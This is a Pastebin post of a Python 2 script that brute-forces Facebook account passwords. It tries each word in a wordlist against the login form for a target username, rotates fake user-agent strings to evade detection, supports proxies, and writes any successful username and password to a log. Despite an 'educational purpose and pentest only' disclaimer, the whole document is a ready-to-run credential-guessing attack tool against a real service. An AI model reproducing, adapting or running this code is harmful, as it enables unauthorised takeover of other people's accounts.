Guest User

facebook brute force source code .py

a guest
Apr 6th, 2016
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.32 KB | None | 0 0
  1. #!/usr/bin/python
  2. # This is facebook bruteforcer tools
  3. # This was written for educational purpose and pentest only. Use it at your own risk.
  4. # Author will not be responsible for any damage !!
  5. # Toolname  : facebookbruteforcer.py
  6. # Programmer    : Siscovic Zakaria
  7. # Version   : 2.0
  8. # Date      : Friday May 31 2013 16:30:07
  9.  
  10. import re
  11. import os
  12. import sys
  13. import random
  14. import warnings
  15. import time
  16. try:
  17.     import mechanize
  18. except ImportError:
  19.     print "[*] Please install mechanize python module first"
  20.     sys.exit(1)
  21. except KeyboardInterrupt:
  22.     print "\n[*] Exiting program...\n"
  23.     sys.exit(1)
  24. try:
  25.     import cookielib
  26. except ImportError:
  27.     print "[*] Please install cookielib python module first"
  28.     sys.exit(1)
  29. except KeyboardInterrupt:
  30.     print "\n[*] Exiting program...\n"
  31.     sys.exit(1)
  32.    
  33. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  34.  
  35. # define variable
  36. __programmer__  = "Siscovic Zakaria"
  37. __version__     = "2.0"
  38. verbose     = False
  39. useproxy    = False
  40. usepassproxy    = False
  41. log     = 'fbbruteforcer.log'
  42. file        = open(log, "a")
  43. success     = 'http://www.facebook.com/?sk=messages&ref=mb'
  44. fblogin     = 'https://login.facebook.com/login.php?login_attempt=1'
  45. # some cheating ..
  46. ouruseragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  47.         'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  48.         'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  49.         'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  50.             'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  51.             'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  52.             'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  53.             'Opera/8.00 (Windows NT 5.1; U; en)',
  54.         'amaya/9.51 libwww/5.4.0',
  55.         'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  56.         'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  57.         'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  58.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  59.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  60.         'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  61.         ]
  62. facebook    = '''
  63.       __               _                 _    
  64.      / _|             | |               | |  
  65.     | |_ __ _  ___ ___| |__   ___   ___ | | __
  66.     |  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
  67.     | || (_| | (_|  __/ |_) | (_) | (_) |   <
  68.     |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
  69.                 Brute Force By Siscovic
  70.                    
  71. Programmer : %s
  72. Version    : %s''' % (__programmer__, __version__)
  73. option          = '''
  74. Usage  : %s [options]
  75. Option : -u, --username     <username>      |   User for bruteforcing
  76.          -w, --wordlist     <filename>      |   Wordlist used for bruteforcing
  77.          -v, --verbose              |   Set %s will be verbose
  78.          -p, --proxy        <host:port> |   Set http proxy will be use
  79.          -k, --usernameproxy    <username>  |   Set username at proxy will be use
  80.          -i, --passproxy    <password>  |   Set password at proxy will be use
  81.          -l, --log      <filename>  |   Specify output filename (default : fbbruteforcer.log)
  82.          -h, --help         <help>          |   Print this help
  83.                                                            
  84. Example : %s -u Zakaria-Siscovic@hotmail.fr -w wordlist.txt"
  85.        
  86. P.S : add "&" to run in the background  
  87. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  88. hme         = '''
  89. Usage : %s [option]
  90.     -h or --help for get help
  91.     ''' % sys.argv[0]
  92.  
  93.  
  94. def helpme():
  95.     print facebook
  96.     print option
  97.     file.write(facebook)
  98.     file.write(option)
  99.     sys.exit(1)
  100.    
  101. def helpmee():
  102.     print facebook
  103.     print hme
  104.     file.write(facebook)
  105.     file.write(hme)
  106.     sys.exit(1)
  107.    
  108. for arg in sys.argv:
  109.     try:
  110.         if arg.lower() == '-u' or arg.lower() == '--user':
  111.                     username = sys.argv[int(sys.argv[1:].index(arg))+2]
  112.         elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  113.                     wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  114.             elif arg.lower() == '-l' or arg.lower() == '--log':
  115.                     log = sys.argv[int(sys.argv[1:].index(arg))+2]
  116.             elif arg.lower() == '-p' or arg.lower() == '--proxy':
  117.                 useproxy = True
  118.                     proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  119.             elif arg.lower() == '-k' or arg.lower() == '--userproxy':
  120.                 usepassproxy = True
  121.                     usw = sys.argv[int(sys.argv[1:].index(arg))+2]
  122.             elif arg.lower() == '-i' or arg.lower() == '--passproxy':
  123.                 usepassproxy = True
  124.                     usp = sys.argv[int(sys.argv[1:].index(arg))+2]
  125.         elif arg.lower() == '-v' or arg.lower() == '--verbose':
  126.                     verbose = True
  127.             elif arg.lower() == '-h' or arg.lower() == '--help':
  128.                 helpme()
  129.         elif len(sys.argv) <= 1:
  130.             helpmee()
  131.     except IOError:
  132.         helpme()
  133.     except NameError:
  134.         helpme()
  135.     except IndexError:
  136.         helpme()
  137.                    
  138. def bruteforce(word):
  139.     try:
  140.         sys.stdout.write("\r[*] Trying %s...                    " % word)
  141.         file.write("[*] Trying %s\n" % word)
  142.         sys.stdout.flush()
  143.         br.addheaders = [('User-agent', random.choice(ouruseragent))]
  144.         opensite = br.open(fblogin)
  145.         br.select_form(nr=0)
  146.         br.form['email'] = username
  147.         br.form['pass'] = word
  148.         br.submit()
  149.         response = br.response().read()
  150.         if verbose:
  151.             print response
  152.         if success in response:
  153.             print "\n\n[*] Logging in success..."
  154.             print "[*] Username : %s" % (username)
  155.             print "[*] Password : %s\n" % (word)
  156.             file.write("\n[*] Logging in success...")
  157.             file.write("\n[*] Username : %s" % (username))
  158.             file.write("\n[*] Password : %s\n\n" % (word))
  159.             sys.exit(1)
  160.     except KeyboardInterrupt:
  161.         print "\n[*] Exiting program...\n"
  162.         sys.exit(1)
  163.     except mechanize._mechanize.FormNotFoundError:
  164.         print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"
  165.         file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")
  166.         sys.exit(1)
  167.     except mechanize._form.ControlNotFoundError:
  168.         print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"
  169.         file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")
  170.         sys.exit(1)
  171.        
  172. def releaser():
  173.     global word    
  174.     for word in words:
  175.         bruteforce(word.replace("\n",""))
  176.        
  177. def main():
  178.     global br
  179.     global words
  180.     try:
  181.         br = mechanize.Browser()
  182.         cj = cookielib.LWPCookieJar()
  183.         br.set_cookiejar(cj)
  184.         br.set_handle_equiv(True)
  185.         br.set_handle_gzip(True)
  186.         br.set_handle_redirect(True)
  187.         br.set_handle_referer(True)
  188.         br.set_handle_robots(False)
  189.         br.set_debug_http(False)
  190.         br.set_debug_redirects(False)
  191.         br.set_debug_redirects(False)
  192.         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  193.         if useproxy:
  194.             br.set_proxies({"http": proxy})
  195.         if usepassproxy:
  196.             br.add_proxy_password(usw, usp)
  197.         if verbose:
  198.             br.set_debug_http(True)
  199.             br.set_debug_redirects(True)
  200.             br.set_debug_redirects(True)
  201.     except KeyboardInterrupt:
  202.         print "\n[*] Exiting program...\n"
  203.         file.write("\n[*] Exiting program...\n")
  204.         sys.exit(1)
  205.     try:
  206.         preventstrokes = open(wordlist, "r")
  207.         words          = preventstrokes.readlines()
  208.         count          = 0
  209.         while count < len(words):
  210.             words[count] = words[count].strip()
  211.             count += 1
  212.     except IOError:
  213.         print "\n[*] Error: Check your wordlist path\n"
  214.         file.write("\n[*] Error: Check your wordlist path\n")
  215.         sys.exit(1)
  216.     except NameError:
  217.         helpme()
  218.     except KeyboardInterrupt:
  219.         print "\n[*] Exiting program...\n"
  220.         file.write("\n[*] Exiting program...\n")
  221.         sys.exit(1)
  222.     try:
  223.         print facebook
  224.         print "\n[*] Starting attack at %s" % time.strftime("%X")
  225.         print "[*] Account for bruteforcing %s" % (username)
  226.         print "[*] Loaded :",len(words),"words"
  227.         print "[*] Bruteforcing, please wait..."
  228.         file.write(facebook)
  229.         file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
  230.         file.write("\n[*] Account for bruteforcing %s" % (username))
  231.         file.write("\n[*] Loaded : %d words" % int(len(words)))
  232.         file.write("\n[*] Bruteforcing, please wait...\n")
  233.     except KeyboardInterrupt:
  234.         print "\n[*] Exiting program...\n"
  235.         sys.exit(1)
  236.     try:
  237.         releaser()
  238.         bruteforce(word)
  239.     except NameError:
  240.         helpme()
  241.  
  242. if __name__ == '__main__':
  243.     main()
Add Comment
Please, Sign In to add comment